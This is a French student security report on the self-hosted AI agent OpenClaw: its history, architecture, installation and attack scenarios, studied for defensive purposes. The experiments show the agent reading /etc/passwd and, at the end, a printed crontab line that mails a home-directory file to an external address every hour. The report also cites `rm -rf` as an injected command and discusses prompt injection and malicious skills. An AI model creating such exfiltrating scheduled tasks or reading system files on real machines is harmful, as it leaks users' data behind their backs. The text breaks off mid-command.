

Confiance et IA

Encadrant : **V. Conan**

Étudiant : **S. BITAN**

1. Cahier des charges.....	2
1.1 Introduction.....	2
1.2 Objectif du projet.....	2
1.3 Tâches à effectuer.....	3
2. Plan de développement.....	4
3. État de l'art.....	5
3.1 Introduction aux assistants intelligents.....	5
3.2 Assistants personnels intelligents.....	6
3.3 Limites des assistants et transition vers les agents autonomes.....	7
3.4 OpenClaw : Présentation et historique.....	8
3.5 OpenClaw : Fonctionnement.....	8
3.6 OpenClaw : Sécurité et risques.....	9
4. Analyse.....	11
4.1 Description technique.....	11
4.2 Caractéristiques fondamentales.....	11
4.3 Architecture générale.....	12
4.4 Fonctionnement global : du message à l'action.....	14
4.5 Sécurité, souveraineté et implications.....	14
4.6 Cas d'usage avancés.....	15
5. Conception.....	16
5.1 Installation.....	16
5.2 Risques de l'outil et résolution des risques.....	18
6. Compte rendu.....	20
6.1 Cas d'usage.....	20
6.2 Cas d'usage avancé - focus sur les API.....	26
6.3 Cas d'usage avancé - focus sur les sites web.....	32
6.4 Cas d'usage avancé - focus sur les plugins.....	37
6.5 Correctif : Mise en place du sandboxing.....	40
6.6 Conclusion du rapport.....	43
7. Références.....	44

1. Cahier des charges

1.1 Introduction

Les assistants personnels basés sur l'intelligence artificielle connaissent une évolution rapide vers des systèmes d'agents capables non seulement de dialoguer, mais aussi d'exécuter des actions dans un terminal, d'interagir avec des applications et de manipuler des fichiers.

OpenClaw s'inscrit dans cette dynamique en proposant une solution open source d'assistant personnel auto-hébergé, orientée vers l'automatisation et la gestion du poste utilisateur. Cet outil, bien que très puissant, s'accompagne également de risques de sécurité importants, notamment liés à l'exécution de commandes, à la gestion des secrets, aux attaques par injection de prompt (MITRE) et à l'exposition des interfaces.

1.2 Objectif du projet

L'objectif du projet est d'analyser en profondeur la solution OpenClaw sous l'angle technique et sécuritaire, afin d'identifier ses mécanismes de fonctionnement, ses avantages opérationnels et les vulnérabilités potentielles qu'elle introduit. Le projet vise également à proposer des recommandations concrètes permettant de réduire les risques associés à son déploiement dans un environnement réel.

1.3 Tâches à effectuer

- Réaliser un état de l'art sur les assistants agentiques

Étudier l'évolution des assistants IA vers des architectures autonomes capables d'exécuter des actions.

Présenter les concepts clés : agents autonomes, invocation d'outils, orchestration et planification.

Identifier les principaux risques liés aux agents, et en particulier à OpenClaw.

- Décrire l'historique de l'outil, de sa première version à nos jours

- Faire un rapport technique sur le logiciel et décrire ses fonctionnalités

Décrire l'architecture interne, expliquer le fonctionnement des flux de données, la gestion de sessions, l'accès au système et les mécanismes d'exécution des commandes.

- Effectuer l'installation, puis présenter les principaux avantages et risques de l'outil

Installation sur une machine virtuelle

Mise en œuvre de l'outil

Lister les risques techniques liés à une installation de base

Évaluer leur impact

Proposer des solutions concrètes (isolation réseau, sandboxing, moindre privilège)

Discuter des enjeux futurs liés à la généralisation des assistants autonomes.

2. Plan de développement

Le projet sera mené selon une démarche progressive, en commençant par l'analyse théorique, puis par la mise en place et l'expérimentation, avant d'aborder l'étude des aspects de sécurité. L'objectif est de comprendre le fonctionnement d'OpenClaw, de tester concrètement l'outil et d'identifier les risques associés à ce type d'assistant basé sur l'intelligence artificielle.

Dans un premier temps, une phase d'étude documentaire sera réalisée. Elle consistera à établir un état de l'art sur les assistants intelligents fonctionnant sous forme d'agents. Cette partie présentera leurs principales architectures techniques, généralement basées sur des modèles de langage (LLM), des outils externes, des mécanismes de mémoire et des systèmes d'orchestration. Elle permettra également d'identifier les principales vulnérabilités déjà connues dans ce domaine, comme les attaques par injection de prompt, l'utilisation abusive d'outils ou les risques liés aux plugins. Cette étape vise à poser les bases théoriques nécessaires pour la suite du projet.

La deuxième phase sera consacrée à l'analyse technique d'OpenClaw. Son architecture sera étudiée à partir de la documentation disponible et de l'examen du code source. Un environnement de test isolé sera ensuite mis en place à l'aide de machines virtuelles afin d'installer et de configurer l'outil dans un cadre contrôlé.

La phase suivante portera sur l'expérimentation. Dans un premier temps, différents scénarios d'utilisation seront testés afin d'observer le fonctionnement de l'assistant et de comprendre ses capacités. Dans un second temps, des scénarios d'attaque seront mis en place pour identifier d'éventuelles failles et mesurer leurs effets sur la confidentialité, l'intégrité et la disponibilité du système.

Enfin, des mesures de sécurité seront proposées pour limiter les risques identifiés. Lorsque cela sera possible, certaines d'entre elles seront testées dans l'environnement expérimental. Les résultats permettront d'évaluer leur efficacité et d'apporter une analyse critique sur les enjeux de sécurité liés aux assistants personnels autonomes basés sur l'intelligence artificielle.

3. État de l'art

3.1 Introduction aux assistants intelligents

Les assistants intelligents constituent l'une des applications les plus visibles de l'intelligence artificielle dans l'interaction humain-machine [4]. Depuis les premières interfaces conversationnelles basées sur des systèmes experts ou des règles symboliques, les assistants personnels ont connu une évolution rapide grâce aux progrès du traitement automatique du langage naturel, de l'apprentissage automatique et du calcul distribué.

Les premiers systèmes conversationnels reposaient principalement sur des architectures symboliques utilisant des règles et des structures logiques explicites afin d'interpréter les requêtes des utilisateurs et de générer des réponses prédéfinies [4]. Ces approches permettaient une certaine interprétabilité mais restaient limitées dans leur capacité d'adaptation à des contextes variés et à des interactions complexes.

Avec l'essor du machine learning et du deep learning, les assistants intelligents ont progressivement intégré des modèles statistiques capables d'apprendre à partir de grandes quantités de données conversationnelles [5]. Les techniques de traitement du langage naturel permettent aujourd'hui d'analyser l'intention de l'utilisateur, d'extraire des entités sémantiques et de générer des réponses contextualisées. Ces avancées ont contribué à transformer les assistants numériques en systèmes interactifs capables de gérer des dialogues complexes et de fournir des services personnalisés.

Parallèlement, les progrès récents des LLM ont ouvert la voie à une nouvelle génération d'assistants capables de raisonner sur des instructions complexes et de planifier des actions dans des environnements informatiques. Ces évolutions ont progressivement conduit à l'émergence du concept d'agent intelligent autonome, c'est-à-dire un système capable non seulement de dialoguer avec un utilisateur, mais également d'agir de manière proactive dans un environnement numérique afin d'atteindre des objectifs spécifiques.

3.2 Assistants personnels intelligents

Les assistants personnels intelligents, souvent désignés sous le terme de Virtual Personal Assistants (VPA), représentent aujourd'hui l'implémentation la plus répandue des interfaces conversationnelles basées sur l'intelligence artificielle [4]. Des systèmes tels que Siri, Alexa, Google Assistant ou Cortana illustrent l'intégration de technologies avancées de traitement du langage naturel et d'apprentissage automatique dans des services grand public.

Ces assistants reposent généralement sur une architecture modulaire comprenant plusieurs technologies. Un premier module est dédié à la reconnaissance vocale, qui transforme les signaux audio en texte exploitable par les modules linguistiques. Ce texte est ensuite analysé par des systèmes de compréhension du langage naturel afin d'identifier l'intention de l'utilisateur et les entités pertinentes dans la requête.

Une fois l'intention identifiée, un gestionnaire de dialogue orchestre l'interaction avec l'utilisateur en sélectionnant la réponse appropriée ou en déclenchant des services externes. Ces services peuvent inclure la consultation d'informations en ligne, la gestion d'applications ou l'automatisation de tâches quotidiennes.

Les architectures modernes d'assistants virtuels intègrent également des mécanismes d'apprentissage permettant d'améliorer progressivement la qualité de l'interaction. Par exemple, certaines approches utilisent des modèles de deep learning pour analyser les interactions textuelles et évaluer la satisfaction des utilisateurs, ce qui permet d'optimiser les stratégies de dialogue et de personnaliser les réponses fournies par l'assistant [5].

Avant l'apparition de ces assistants modernes, les premières interfaces conversationnelles étaient principalement constituées de *chatbots*. Ces programmes fonctionnaient à partir de règles simples associant certains mots ou expressions à des réponses prédéfinies. Le chatbot ALICE, basé sur le langage AIML, constitue un exemple classique de ce type d'approche. Bien que ces systèmes aient permis de populariser l'idée d'une interaction en langage naturel avec une machine, ils restaient limités dans leur capacité à comprendre le contexte d'une conversation.

3.3 Limites des assistants et transition vers les agents autonomes

Malgré les progrès réalisés ces dernières années, les assistants personnels classiques présentent encore plusieurs limitations. Dans la plupart des cas, ils restent dépendants de scénarios prédéfinis et d'un ensemble limité d'actions. Ils sont capables de répondre à des questions ou d'exécuter certaines commandes simples, mais leur capacité à gérer des tâches complexes ou à s'adapter à des situations imprévues reste relativement limitée.

Une autre limite importante concerne leur faible autonomie. Les assistants traditionnels fonctionnent principalement comme des interfaces permettant d'accéder à des services existants, mais ils ne sont généralement pas capables de planifier eux-mêmes une suite d'actions afin d'atteindre un objectif plus large. Leur rôle se limite donc souvent à exécuter des instructions ponctuelles plutôt qu'à résoudre des problèmes de manière autonome. Par ailleurs, l'intégration avec l'environnement informatique de l'utilisateur reste souvent restreinte. Dans de nombreux cas, les assistants sont confinés à une application ou à un écosystème spécifique et disposent d'un accès limité aux fichiers, aux logiciels ou aux ressources du système [5].

Ces limitations ont conduit à l'apparition d'une nouvelle génération de systèmes appelés *agents*. Contrairement aux assistants traditionnels, ces agents sont conçus pour interpréter des objectifs, planifier des actions et utiliser différents outils afin d'accomplir des tâches plus complexes. Cette approche permet de transformer l'assistant en un véritable agent capable d'interagir directement avec l'environnement informatique.

C'est dans ce contexte que s'inscrit OpenClaw. Cette plateforme propose une approche différente de l'assistant personnel en reposant sur un agent capable d'utiliser des outils logiciels et d'agir directement sur le système de l'utilisateur [7]. Cette évolution ouvre de nouvelles possibilités en matière d'automatisation, mais elle soulève également des questions importantes en matière de sécurité [3].

3.4 OpenClaw : Présentation et historique

La première version d'OpenClaw a été livrée en novembre 2025 sous le nom de Clawdbot [\[6\]](#), alors principalement présentée comme une preuve de concept par Peter Steinberger. Par la suite, le 27 janvier 2026, Clawdbot est renommé Moltbot à la suite d'un conflit de marque avec Anthropic (nom trop proche de Claude). Ce changement de nom intervient alors que le dépôt GitHub connaît une croissance extrêmement rapide et que le produit monte en puissance.

Trois jours plus tard, soit le 30 janvier 2026, la communauté et l'auteur originel, Peter Steinberger, choisissent le nom définitif « OpenClaw », encore utilisé à ce jour.

En plus de l'outil lui-même, deux concepts majeurs existent :

- ClawHub a été créé fin 2025 en tant que registre public des “skills” (ou plugins) pour OpenClaw. C'est ici que les développeurs publient des skills utilisables par les agents OpenClaw.
- Le projet Moltbook est une plateforme née le 28 janvier 2026 et consiste en un réseau social conçu pour les agents IA, où ils peuvent interagir entre eux. Il a été racheté par Meta le 10 mars 2026.

Peter Steinberger, créateur d'OpenClaw, rejoint OpenAI le 15 février.

3.5 OpenClaw : Fonctionnement

OpenClaw repose sur une architecture d'agent intelligent capable d'interagir avec l'environnement informatique de l'utilisateur. Contrairement aux assistants conversationnels classiques qui se limitent à produire des réponses textuelles, OpenClaw est conçu pour exécuter des actions concrètes sur le système. L'utilisateur peut ainsi interagir avec l'agent via une interface conversationnelle (WhatsApp, Telegram, Discord, etc.) afin de demander l'exécution de différentes tâches [\[7\]](#).

Le système s'appuie principalement sur un LLM qui joue le rôle de moteur de raisonnement. Lorsqu'une requête est envoyée par l'utilisateur, le modèle analyse la demande, identifie l'objectif à atteindre et détermine les actions nécessaires pour y parvenir. Cette analyse permet ensuite à l'agent de sélectionner les outils les plus appropriés pour accomplir la tâche demandée.

L'un des éléments centraux d'OpenClaw est sa ToolBox. Ces outils représentent les interfaces permettant à l'agent d'interagir avec l'environnement informatique. Ils peuvent notamment permettre d'effectuer des recherches sur Internet, de manipuler des fichiers, d'exécuter des commandes système ou encore d'interagir avec différents services logiciels. L'agent peut ainsi enchaîner plusieurs actions successives afin de résoudre une tâche plus complexe.

Le fonctionnement général repose sur une boucle simple : l'utilisateur envoie une requête, le modèle analyse la demande, choisit une action via un outil, puis exploite le résultat obtenu pour poursuivre éventuellement le traitement. Cette organisation permet à l'assistant de gérer des tâches composées de plusieurs étapes.

Cette approche permet à OpenClaw de gérer des tâches composées de plusieurs étapes. Par exemple, l'agent peut rechercher une information sur Internet, analyser les résultats obtenus, générer un document et enregistrer ce document sur le système de l'utilisateur. L'assistant ne se limite donc plus à répondre à une question, mais devient capable de coordonner plusieurs opérations afin d'atteindre un objectif donné.

Cette capacité d'action directe sur l'environnement informatique introduit également des risques. Une mauvaise interprétation d'une instruction ou une manipulation malveillante de l'agent peut conduire à l'exécution d'actions non souhaitées. Le fonctionnement même du système, basé sur l'utilisation d'outils et sur l'interprétation automatique des requêtes, rend donc nécessaire une analyse attentive des risques de sécurité associés à ce type d'assistant.

3.6 OpenClaw : Sécurité et risques

L'architecture, basée sur un agent capable d'agir directement sur le système, introduit une surface d'attaque beaucoup plus large que celle des assistants traditionnels. Là où le principal risque de ces assistants était de générer de fausses informations, OpenClaw peut exécuter des actions concrètes sur le système, ce qui augmente considérablement les conséquences potentielles.

Une première vulnérabilité est l'attaque par injection [de prompt \[3\]](#). Dans ce cas, l'attaquant manipule l'agent en lui fournissant des instructions spécialement conçues pour modifier son comportement. Si ces instructions sont interprétées comme légitimes par le système, l'agent peut être amené à exécuter des actions non prévues ou à contourner certaines règles de sécurité.

Un autre risque concerne l'abus des outils mis à disposition de l'agent [\[2\]](#). OpenClaw peut exécuter des commandes, manipuler des fichiers ou interagir avec différents services connectés. Si ces capacités sont mal configurées ou exploitées par un attaquant, l'agent peut être utilisé pour accéder à des ressources sensibles ou modifier des éléments du système. Certaines analyses de sécurité ont notamment montré que les agents de ce type peuvent

exposer des clés API, des identifiants ou d'autres informations confidentielles si les protections ne sont pas correctement mises en place.

Les extensions et modules supplémentaires constituent également une source de vulnérabilités. L'écosystème d'OpenClaw repose en partie sur des modules appelés *skills*, qui permettent d'étendre les capacités de l'agent. Des recherches ont montré que certains de ces modules peuvent contenir du code malveillant [\[1\]](#) ou des failles de sécurité. Des campagnes récentes ont par exemple utilisé des skills malveillants distribués via des dépôts publics afin de voler des données ou d'exécuter des scripts à distance sur les machines des utilisateurs.

4. Analyse

4.1 Description technique

OpenClaw est un assistant personnel IA autonome, open source, auto-hébergé, conçu pour exécuter des actions réelles sur les appareils de l'utilisateur. Il se distingue par sa capacité à fonctionner localement, à orchestrer des outils logiciels et matériels, et à agir de manière autonome dans un environnement contrôlé par l'utilisateur.

L'objectif d'OpenClaw est de fournir une alternative ouverte et souveraine aux agents IA propriétaires, en permettant un contrôle total sur les données, les actions et l'environnement d'exécution.

4.2 Caractéristiques fondamentales

OpenClaw repose sur plusieurs piliers technologiques :

- Exécution locale : il peut fonctionner sur un PC, un serveur, un cloud privé ou un Raspberry Pi.
- Intégration multi-plateforme : il peut être relié à des messageries comme WhatsApp, Telegram, Discord, Slack ou iMessage.
- Autonomie d'action : il peut gérer des emails, un calendrier, des achats, des automatisations ou des scripts.
- Contrôle système : il peut installer des logiciels, manipuler des fichiers ou interagir avec l'OS.
- Architecture modulaire : l'ensemble repose sur un cœur en TypeScript/Node.js, enrichi par des skills majoritairement écrits en Python.

Ces caractéristiques en font un agent polyvalent.

4.3 Architecture générale

L'architecture d'OpenClaw peut être décomposée en plusieurs couches fonctionnelles, chacune jouant un rôle précis dans le traitement des requêtes et l'exécution des actions.

4.3.1 Sources des demandes utilisateur

Les commandes peuvent provenir de trois types d'interfaces :

- Messageries : interaction naturelle via WhatsApp, Télégram, Discord, Slack, etc.
- Dashboard web : interface graphique locale permettant de piloter l'agent.
- Terminal CLI : interaction directe pour les utilisateurs avancés.

Toutes ces sources convergent vers le serveur OpenClaw local, garantissant un traitement unifié.

4.3.2 Gateway / Connecteurs

Les connecteurs sont les modules qui relient OpenClaw aux plateformes externes lorsqu'on ne passe pas par le web ou le CLI. Exemples : WhatsApp API, Telegram Bot API, Discord Bot, Slack API...

Ces connecteurs assurent : la réception des messages, la normalisation des requêtes, la transmission au serveur OpenClaw et l'envoi des réponses vers la plateforme d'origine. Ils jouent un rôle essentiel dans l'intégration d'OpenClaw dans l'écosystème numérique de l'utilisateur.

4.3.3 Serveur OpenClaw local

C'est le cœur du système : il analyse la requête, détermine les actions à exécuter, orchestre les outils et suit l'état de la tâche. Il est codé en TypeScript/Node.js.

Le serveur gère plusieurs sous-modules :

- Agent Controller (gestion des tâches)

C'est le moteur d'orchestration : il analyse la requête utilisateur, détermine les actions nécessaires, sélectionne les outils ou skills à appeler, suit l'état de la tâche jusqu'à son achèvement et gère les erreurs ainsi que les reprises.

Il s'agit du cerveau logique d'OpenClaw.

- LLM Interface

Le LLM (GPT, Claude, etc.) assure la compréhension du langage, la planification des actions et la génération des réponses. Il n'exécute pas lui-même les actions : il décide quels outils appeler.

Cette séparation entre raisonnement et action est un élément clé de la modularité du système.

- Tool Manager

Le Tool Manager est le module permettant à l'agent d'agir. Il peut exécuter des scripts, appeler des API, interagir avec l'OS, manipuler des fichiers et lancer des automatisations. Il constitue la couche opérationnelle d'OpenClaw.

4.3.4 Skills / Plugins

Les skills sont des modules additionnels qui étendent les capacités de l'agent. Ils sont disponibles sur ClawHub, un registre public où les développeurs publient leurs extensions. La plupart des skills sont codés en Python.

Exemples de skills : gestion email, navigation web, manipulation de fichiers, automatisation système, intégration API tierces.

Cette modularité permet à OpenClaw d'évoluer rapidement et de s'adapter à des cas d'usage variés.

4.3.5 WebSocket local

OpenClaw peut utiliser un serveur WebSocket local pour communiquer avec le navigateur, les applications locales ou les extensions. Ce canal permet un contrôle en temps réel de l'agent.

Cela permet des interactions instantanées, un retour d'état en direct, une supervision continue des actions et une intégration fluide avec des interfaces locales.

4.4 Fonctionnement global : du message à l'action

En résumé, le flux de fonctionnement peut se dérouler comme suit : « Utilisateur -> CLI/Web/Messagerie -> OpenClaw -> Agent IA -> Skills/Plugins -> Actions locales -> retour à l'utilisateur »

Ce pipeline peut être détaillé comme suit :

1. Réception de la requête via une interface (messagerie, web, CLI).
2. Transmission au serveur local via un connecteur ou directement.
3. Analyse linguistique par le LLM.
4. Planification par l'Agent Controller.
5. Sélection des skills nécessaires.
6. Exécution des actions via le Tool Manager.
7. Retour d'information à l'utilisateur.
8. Mise à jour de l'état de la tâche.

4.5 Sécurité, souveraineté et implications

L'accès aux données locales peut engendrer des problématiques de sécurité. En effet, un agent capable d'installer des logiciels, de manipuler des fichiers ou d'agir sur le système doit être sandboxé, contrôlé par l'utilisateur et transparent dans ses actions, avec des permissions configurables.

L'auto-hébergement permet toutefois une souveraineté plus élevée : aucune donnée n'est envoyée vers un serveur tiers sans consentement explicite.

4.6 Cas d'usage avancés

Grâce à son architecture, OpenClaw peut être utilisé pour :

- Automatiser la gestion d'un parc informatique,
- Orchestrer des workflows complexes,
- Agir comme un assistant personnel complet,
- Gérer des tâches quotidiennes (emails, agenda, achats),
- Piloter des scripts ou des applications locales,
- Servir de base à des agents spécialisés (domotique, cybersécurité, DevOps).

Sa nature open source permet également de l'adapter à des environnements industriels ou professionnels plus facilement qu'un système propriétaire à sources fermées.

5. Conception

5.1 Installation

Le projet sera déployé sur une machine virtuelle fournie par le CNAM.

Les caractéristiques de la VM sont les suivantes :

- Système d'exploitation : Ubuntu 20.04 LTS avec interface graphique (GUI)
- Mémoire RAM : 32 Go

Le choix d'Ubuntu est motivé par sa stabilité, sa compatibilité avec la majorité des bibliothèques du projet (OpenClaw, Ollama, etc.), ainsi que par la présence d'un environnement graphique facilitant les phases d'installation, de démonstration et de débogage. Le CNAM proposait également une machine plus récente (Ubuntu 22.04), mais sans interface graphique. Nous avons donc orienté notre choix vers une machine un peu plus ancienne, mais toujours compatible.

Afin de garantir l'autonomie du système et la confidentialité des données, le modèle sera hébergé localement (sur la VM) sans dépendre de service externe.

Le modèle que nous avons retenu est : **Qwen 2.5 - 14B**.

Ce modèle a été choisi pour plusieurs raisons, notamment son rapport performance/taille et ses bonnes capacités de raisonnement et d'interaction avec les outils. Il peut fonctionner avec 16 à 20 Go de RAM sans difficulté majeure.

L'interaction avec le modèle sera réalisée via le moteur d'exécution Ollama.

OpenClaw est le framework d'interaction principal du projet. Il permettra à l'agent de comprendre les instructions, de planifier des actions, d'appeler des outils et d'interagir avec des services externes. L'installation se fera directement sur la machine Ubuntu via la ligne de commande.

Dans le cadre de ce projet, OpenClaw ne sera pas installé dans un environnement Python isolé (type venv) ni conteneurisé, mais directement sur la VM. Ce choix est volontaire et répond à un objectif pédagogique lié à l'étude des risques de sécurité associés aux agents. Installer l'agent directement sur la machine nous permettra de mieux illustrer les risques tels que l'exécution de scripts, la manipulation de fichiers, etc.

Comme indiqué précédemment, le fonctionnement d'OpenClaw repose sur un système de tools que le LLM peut appeler dynamiquement. Ces outils sont développés en Python et exposés via des API. Pour proposer une démonstration complète d'OpenClaw, nous allons mettre en place une intégration avec une messagerie (Discord), développée en Python. Cela nous permettra de communiquer directement avec l'agent sans avoir à être connectés au PC.

Un autre objectif du projet sera l'intégration avec une API de messagerie électronique afin de permettre au système de lire les e-mails, d'analyser leur contenu, de générer des réponses automatiques et de créer des fichiers à partir d'e-mails.

En résumé, l'architecture cible sera la suivante :

1. Réception d'une instruction (messagerie ou interface)
2. Analyse par OpenClaw
3. Interrogation du modèle Qwen
4. Sélection des outils nécessaires
5. Exécution des actions
6. Retour de la réponse à l'utilisateur

5.2 Risques de l'outil et résolution des risques

5.2.1 En entrée

Les interfaces d'entrée d'OpenClaw représentent un point critique, car elles conditionnent directement les actions exécutées par l'agent.

Dans le cas du CLI, des arguments malveillants peuvent être injectés s'ils ne sont pas correctement filtrés. Une commande comme `rm -rf` pourrait alors être interprétée et exécutée. Cela peut entraîner des conséquences allant de la suppression de fichiers à la compromission du système. Pour limiter ce risque, il est essentiel d'exécuter OpenClaw avec des privilèges restreints et de mettre en place une validation stricte des entrées ou bien de lui donner les droits uniquement sur certains fichiers.

Les interfaces web présentent un risque similaire. Une injection de code dans un champ de saisie peut permettre d'exploiter des failles applicatives ou d'obtenir des informations sur le système.

Les API de messagerie (Discord, Telegram, etc.) constituent également un vecteur d'attaque. Un attaquant peut tenter d'envoyer des requêtes modifiées afin de déclencher des actions non autorisées. Sans vérification, cela peut mener à une prise de contrôle partielle de l'agent. Il est donc important de vérifier l'authenticité des requêtes, notamment via les signatures des webhooks, et de bien contrôler l'exposition de l'agent sur ces messageries.

5.2.2 En sortie

Les sorties d'OpenClaw correspondent aux actions effectivement exécutées par l'agent sur le système ou vers l'extérieur. À ce stade, le risque ne concerne plus l'interprétation, mais l'impact concret des décisions prises.

Par exemple, l'envoi automatisé d'emails peut être détourné pour transmettre des informations sensibles. La navigation web peut conduire à l'exécution de contenus malveillants. La manipulation de fichiers peut permettre l'accès ou la modification de ressources critiques.

Enfin, l'exécution de scripts ou de tâches automatisées peut entraîner une élévation de privilèges et une compromission du système.

Contrairement aux entrées, le risque ici est directement opérationnel : il concerne les effets réels sur la machine et les données. La remédiation consiste donc à limiter les capacités d'action de l'agent, à isoler les environnements d'exécution et à contrôler strictement les opérations sensibles.

6. Compte rendu

6.1 Cas d'usage

Nous allons présenter ici différents cas d'usage d'OpenClaw permettant d'illustrer les capacités étendues de l'outil.

6.1.1 Gestion d'email et Google Workspace

Le tool **Gog** (abréviation de *Google on Gateway*) est un *skill* OpenClaw qui agit comme une interface entre l'agent et **Google Workspace**. Il permet à l'agent connecté d'accéder à différentes ressources associées à un compte Google, sous réserve que l'utilisateur autorise l'accès via OAuth.

Fonctionnalités principales

Via Gog, OpenClaw peut :

- Lire et envoyer des emails depuis Gmail (récupérer des messages, marquer comme lus, envoyer des réponses ou composer de nouveaux messages).
- Accéder au calendrier et créer/modifier des événements (par exemple, planifier des réunions ou interroger ses disponibilités).
- Interagir avec Google Drive, Contacts, Docs, Sheets, etc., permettant une automatisation plus large des workflows qui impliquent des documents ou des données liées au compte.

L'authentification se fait généralement via OAuth 2.0, ce qui signifie que l'utilisateur doit autoriser explicitement l'accès aux différents services (lecture seule ou lecture/écriture selon les scopes configurés).

Pour un utilisateur lambda, les étapes typiques sont :

1. Installation du skill Gog via la ligne de commande ou le WebUI d'OpenClaw.
2. Authentification OAuth avec un compte Google afin de générer un jeton d'accès.
3. Configuration des autorisations (scopes), par exemple pour autoriser l'accès aux emails et au calendrier.
4. Demandes naturelles via l'agent, par exemple :
 - a. "Quelle est ma prochaine réunion dans Google Calendar ?"
 - b. "Montre-moi les derniers emails reçus de X."
 - c. "Rédige une réponse à cet email."

Ces commandes sont traduites par l'agent en appels API vers Google

Workspace.

Ce fonctionnement permet à OpenClaw de gérer non seulement les emails mais aussi l'agenda, les fichiers Drive et d'autres données utiles à l'utilisateur, en automatisant des tâches sans intervention manuelle constante.

L'intégration avec les services Google introduit des risques significatifs, notamment l'exposition de données sensibles.

En permettant à l'agent d'accéder à Gmail et au calendrier, l'utilisateur confère à OpenClaw une lecture directe de données personnelles telles que :

- Le contenu des messages reçus,
- Les détails des événements du calendrier,
- Les contacts et leurs informations.

Si l'agent est compromis, ces données peuvent être exploitées par des tiers malveillants.

Sélectionnez les services auxquels **smb** a accès

☒	Tout sélectionner	
☒	 Afficher, modifier, créer et supprimer des fichiers dans Google Drive. En savoir plus	☒
☒	 Afficher et télécharger automatiquement les coordonnées enregistrées dans la section "Autres contacts". En savoir plus	☒
☒	 Afficher, modifier, télécharger et supprimer définitivement vos contacts. En savoir plus	☒
☒	 Consulter, modifier, créer et supprimer tous vos documents Google Docs. En savoir plus	☒
☒	 Consulter, modifier, créer et supprimer toutes vos feuilles de calcul Google Sheets. En savoir plus	☒
☒	 Afficher, modifier, partager et supprimer définitivement tous les agendas auxquels vous pouvez accéder dans Google Agenda. En savoir plus	☒
☒	 Gérer les paramètres de messagerie particulièrement sensibles, notamment la liste des personnes autorisées à gérer votre messagerie. En savoir plus	☒
☒	 Consulter, modifier ou créer des paramètres et filtres de messagerie dans Gmail. En savoir plus	☒
☒	 Consulter, rédiger et envoyer des e-mails à partir de votre compte Gmail. En savoir plus	☒
☒	 Consulter et télécharger l'annuaire Google Workspace de votre organisation. En savoir plus	☒

Figure 1 - Permissions demandées par GOG

6.1.2 Navigation web

Dans un usage normal, OpenClaw peut être utilisé comme un assistant capable de naviguer sur le web afin de rechercher une information, consulter une page ou récupérer le contenu d'un site demandé par l'utilisateur. Cette fonctionnalité est intéressante car elle permet à l'agent d'enrichir ses réponses avec des informations externes, sans que l'utilisateur ait besoin d'effectuer manuellement les recherches.

Par exemple, l'utilisateur peut demander à OpenClaw d'ouvrir une page web, d'en extraire les informations importantes puis de produire une synthèse. Dans ce cas, l'agent agit comme un intermédiaire entre l'utilisateur et le contenu web. Il ne se limite donc pas à répondre à partir de ses connaissances internes, mais peut interagir avec des ressources disponibles en ligne. Cependant, cette capacité introduit aussi un risque de sécurité. Le contenu d'une page web ne doit pas être considéré comme fiable par défaut. Un site malveillant pourrait contenir du JavaScript, du contenu injecté ou des instructions cachées destinées à influencer le comportement de l'agent.

Pour ce faire, nous allons utiliser le site amtso.eicar.org, dérivé du test standard EICAR destiné à évaluer la réaction des antivirus [\[8\]](#).




Figure 2 - Accès à un contenu de test EICAR via OpenClaw

Le test montre qu'OpenClaw est capable de récupérer un contenu distant. Dans un cas réel, ce contenu aurait pu être un script malveillant ou un prompt déguisé visant à pousser l'agent à exécuter une action non souhaitée.

Pour réduire ce risque, nous avons modifié la configuration d'OpenClaw en désactivant l'évaluation automatique du JavaScript avec l'option suivante :

"evaluateEnabled": false

Cette mesure limite notamment la lecture du DOM, la modification de la page, la récupération de données internes et l'exécution de scripts personnalisés. Elle ne supprime pas tous les risques liés aux contenus web, mais elle réduit fortement la surface d'attaque.

6.1.3 Manipulation de fichiers

La manipulation de fichiers est l'une des fonctionnalités les plus utiles d'OpenClaw. L'agent peut aider l'utilisateur à retrouver un document, lire un fichier, résumer son contenu, organiser un dossier ou générer automatiquement un nouveau fichier. Cette capacité est donc centrale dans un usage d'assistant local.

Dans un usage légitime, l'utilisateur peut par exemple demander à OpenClaw d'ouvrir un fichier de travail, d'en extraire les informations importantes ou de créer un document à partir d'une consigne. L'agent agit alors comme un outil d'automatisation capable d'interagir directement avec l'environnement de travail.

Cependant, cette fonctionnalité devient sensible lorsque l'agent peut accéder à des fichiers situés en dehors du périmètre prévu. Dans certaines configurations, il était possible de demander l'affichage de fichiers système comme `/etc/passwd`. Ce fichier ne contient pas directement les mots de passe, mais il expose la liste des utilisateurs locaux, ce qui peut être utile dans une phase de reconnaissance.




Figure 3 - Récupération de la liste des utilisateurs


Ce test montre qu'un agent disposant de trop de permissions peut accéder à des informations qui ne devraient pas être exposées à l'utilisateur. Pour limiter ce risque, OpenClaw doit être exécuté avec des droits restreints et, idéalement, dans un environnement isolé comme un conteneur Docker. Cela permet de limiter l'accès aux fichiers du système hôte et de réduire l'impact d'un éventuel détournement de l'agent.

6.1.4 Automatisation système

OpenClaw peut également être utilisé pour automatiser certaines tâches système. L'agent peut par exemple lancer un script, organiser des fichiers, générer un rapport, surveiller un dossier ou planifier une action récurrente à l'aide d'un cron job. Cette fonctionnalité est intéressante dans un contexte d'assistance personnelle ou d'administration, car elle permet de transformer une demande en langage naturel en action concrète sur le système.

Cependant, les tâches automatisées présentent un risque particulier lorsqu'elles persistent dans le temps. Contrairement à une action ponctuelle, une tâche planifiée peut continuer à s'exécuter même après la fin de la session OpenClaw. Si l'utilisateur ne vérifie pas les tâches créées, une action malveillante ou mal configurée peut donc rester active en arrière-plan.

Dans notre test, nous avons montré qu'il était possible de demander à l'agent de créer un cron job capable d'extraire régulièrement des données, par exemple l'historique de session, puis de les envoyer vers une adresse externe.




```
ubuntu@~$ crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow   command
* * * * * echo "Test cron $(date)" >> /tmp/cron_test.log
5 * * * * echo "Ceci est le corps du message" | mail -s "Sujet du mail" baptiste.trocme.auditeur@lecnam.net -A /home/ubun
